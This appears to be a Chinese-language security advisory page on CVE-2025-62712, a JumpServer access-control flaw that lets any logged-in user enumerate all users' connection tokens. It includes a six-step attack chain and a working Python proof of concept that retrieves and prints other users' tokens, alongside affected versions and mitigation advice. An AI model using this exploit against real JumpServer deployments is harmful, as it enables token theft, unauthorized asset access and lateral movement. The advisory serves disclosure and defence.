IPBUF安全漏洞报告
English
CVE-2025-62712 CVSS 9.6 严重

CVE-2025-62712 JumpServer超级连接API未授权访问漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2025-62712
漏洞类型
访问控制错误
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JumpServer

相关标签

访问控制绕过未授权访问令牌窃取堡垒机JumpServer权限提升横向移动

漏洞概述

JumpServer是一款开源的堡垒机系统,用于运维安全审计。在JumpServer v3.10.20-lts及v4.10.11-lts之前的版本中存在一处严重的访问控制漏洞。漏洞位于超级连接API端点(/api/v1/authentication/super-connection-token/),该端点在处理认证用户请求时,未能正确限制返回的连接令牌范围。攻击者只需拥有普通用户账号,即可通过该API端点获取系统中所有用户创建的连接令牌。利用获取的令牌,攻击者可以代表原始令牌所有者发起连接,从而实现对托管资产的未授权访问和权限提升。此漏洞严重影响堡垒机系统的安全隔离机制,可能导致敏感运维基础设施被攻陷。

技术细节

漏洞根源在于JumpServer的超级连接令牌查询API缺乏适当的用户隔离机制。当认证用户请求/api/v1/authentication/super-connection-token/端点时,后端代码直接返回数据库中所有用户的连接令牌记录,而未根据当前认证用户的身份进行过滤和授权检查。具体来说,查询逻辑中的WHERE条件未包含user_id或session_user_id的过滤条件,导致任何已认证用户都能枚举系统中的全部令牌。攻击者获取他人令牌后,可利用这些令牌通过JumpServer的连接代理功能访问目标资产,实现横向移动和权限提升。修复方案需要在API响应层添加用户身份验证,确保仅返回当前用户拥有或被授权使用的令牌。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统运行JumpServer堡垒机,并确定版本低于v3.10.20-lts或v4.10.11-lts
STEP 2
Initial Access
攻击者通过社工、弱口令或凭证泄露获取JumpServer普通用户账号
STEP 3
Token Enumeration
使用获取的账号登录系统,访问/api/v1/authentication/super-connection-token/端点,枚举系统中所有用户的连接令牌
STEP 4
Token Theft
从API响应中提取其他用户的连接令牌,包括令牌值、关联用户和目标资产信息
STEP 5
Unauthorized Access
利用窃取的令牌通过JumpServer连接代理功能向目标资产发起连接请求
STEP 6
Lateral Movement
成功连接后获取目标资产的访问权限,可执行运维操作、访问敏感数据或进一步内网渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-62712 PoC - JumpServer Super Connection Token Unauthorized Access # Target: JumpServer < v3.10.20-lts, < v4.10.11-lts TARGET_URL = "https://target-jumpserver.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" def exploit_cve_2025_62712(): """ This PoC demonstrates the unauthorized token access vulnerability. Steps: 1. Authenticate with JumpServer to obtain session token 2. Request super-connection-token API without proper authorization 3. Extract tokens belonging to other users 4. Use stolen tokens to access managed assets """ session = requests.Session() # Step 1: Login to obtain authentication login_url = f"{TARGET_URL}/api/v1/authentication/auth/" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data, verify=False) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return None print("[+] Successfully authenticated") # Step 2: Request super-connection-token API (vulnerable endpoint) token_url = f"{TARGET_URL}/api/v1/authentication/super-connection-token/" response = session.get(token_url, verify=False) if response.status_code == 200: tokens = response.json() print(f"[+] Retrieved {len(tokens)} connection tokens") # Step 3: Extract tokens belonging to other users for token_data in tokens: if token_data.get('user') != USERNAME: print(f"[*] Found token for user: {token_data.get('user')}") print(f" Token: {token_data.get('token')}") print(f" Asset: {token_data.get('asset')}") return tokens else: print(f"[-] Failed to retrieve tokens: {response.status_code}") return None if __name__ == "__main__": exploit_cve_2025_62712()

影响范围

JumpServer < v3.10.20-lts
JumpServer < v4.10.11-lts

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)限制对/api/v1/authentication/super-connection-token/端点的访问,仅允许可信IP访问。同时加强用户凭证管理,避免弱口令和凭证泄露。建议在补丁发布后优先安排维护窗口进行版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表